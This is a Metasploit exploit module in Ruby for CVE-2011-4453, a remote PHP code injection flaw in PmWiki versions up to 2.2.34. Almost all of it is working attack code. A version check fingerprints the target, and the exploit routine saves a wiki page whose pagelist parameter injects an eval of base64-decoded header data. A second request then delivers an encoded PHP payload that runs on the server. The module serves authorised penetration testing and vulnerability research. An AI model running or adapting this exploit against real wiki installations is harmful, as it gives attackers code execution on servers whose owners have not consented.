PmWiki 2.2.34 - 'pagelist' Remote PHP Code Injection (2) (Metasploit)

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = ExcellentRanking

	include Msf::Exploit::Remote::HttpClient

	def initialize(info={})
		super(update_info(info,
			'Name'           => 'PmWiki <= 2.2.34 (pagelist) Remote PHP Code Injection Exploit',
			'Description'    => %q{
				This module exploits an arbitrary command execution vulnerability
				in PmWiki from 2.0.0 to 2.2.34. The vulnerable function is
				inside /scripts/pagelist.php.
			},
			'License'        => MSF_LICENSE,
			'Author'         =>
				[
					'EgiX',  # Vulnerability discovery and exploit
					'TecR0c' # Metasploit Module
				],
			'References'     =>
				[
					['CVE', '2011-4453'],
					['BID', '50776'],
					['OSVDB', '77261'],
					['URL', 'http://www.exploit-db.com/exploits/18149/'],
					['URL', 'http://www.pmwiki.org/wiki/PITS/01271']
				],
			'Privileged'     => false,
			'Payload'        =>
				{
					'Keys'        => ['php'],
					'Space'       => 4000,
					'DisableNops' => true,
				},
			'Platform'       => ['php'],
			'Arch'           => ARCH_PHP,
			'Targets'        => [['Automatic',{}]],
			'DisclosureDate' => 'Nov 09 2011',
			'DefaultTarget'  => 0))

		register_options(
			[
				OptString.new('URI',[true, "The path to the pmwiki installation", "/"]),
			],self.class)
	end

	def check
		uri = datastore['URI']
		uri += (datastore['URI'][-1, 1] == "/") ? 'pmwiki.php?n=PmWiki.Version' : '/pmwiki.php?n=PmWiki.Version'

		res = send_request_raw(
			{
				'uri' => uri
			}, 25)

		if (res and res.body =~ /pmwiki-2.[0.00-2.34]/)
			return Exploit::CheckCode::Vulnerable
		end
		return Exploit::CheckCode::Safe
	end

	def exploit
		p = Rex::Text.encode_base64(payload.encoded)
		header = rand_text_alpha_upper(3)
		header_append = rand_text_alpha_upper(4)

		uri = datastore['URI']
		uri += (datastore['URI'][-1, 1] == "/") ? 'pmwiki.php' : '/pmwiki.php'

		res = send_request_cgi({
			'method'    => 'POST',
			'uri'       => uri,
			'vars_post' =>
				{
					'action' => 'edit',
					'post' => 'save',
					'n' => "#{header}.#{header_append}",
					'text' => "(:pagelist order=']);error_reporting(0);eval(base64_decode($_SERVER[HTTP_#{header}]));die;#:)",
				}
			}, 25)

		res = send_request_cgi({
			'method'  => 'POST',
			'uri'     => uri,
			'headers' =>
				{
					header => p,
					'Connection' => 'Close',
				},
			'vars_post' =>
				{
					'n' => "#{header}.#{header_append}",
				}
		}, 25)
	end
end